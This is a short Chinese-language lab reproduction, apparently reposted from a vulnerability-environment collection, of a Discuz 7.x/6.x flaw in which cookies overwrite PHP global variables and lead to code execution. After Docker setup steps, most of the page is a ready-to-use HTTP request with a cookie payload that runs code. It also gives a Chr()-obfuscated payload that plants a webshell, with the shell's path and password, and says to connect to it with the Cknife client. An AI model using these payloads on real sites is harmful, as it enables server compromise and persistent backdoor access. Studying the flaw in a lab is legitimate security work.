1. 程式人生 > 其它 >Discuz 7.x/6.x 全域性變數防禦繞過導致程式碼執行

Discuz 7.x/6.x 全域性變數防禦繞過導致程式碼執行

由於php5.3.x版本里php.ini的設定裡request_order預設值為GP,導致$_REQUEST中不再包含$_COOKIE,我們通過在Cookie中傳入$GLOBALS來覆蓋全域性變數,造成程式碼執行漏洞。

具體原理請參考:

漏洞環境

執行如下命令啟動Discuz 7.2:

docker-compose up -d

啟動後,訪問http://your-ip:8080/install/來安裝discuz,資料庫地址填寫db,資料庫名為discuz,資料庫賬號密碼均為root

漏洞復現

安裝成功後,直接找一個已存在的帖子,向其傳送資料包,並在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();

GET /viewthread.php?tid=10&extra=page%3D1 HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Connection: close


可見,phpinfo已成功執行:

寫入一句話拿shell

payload:

GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(119).Chr(102).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(108).Chr(97).Chr(108).Chr(97).Chr(108).Chr(97).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))

路徑:wf.php 密碼:lalala

上Cknife,拿下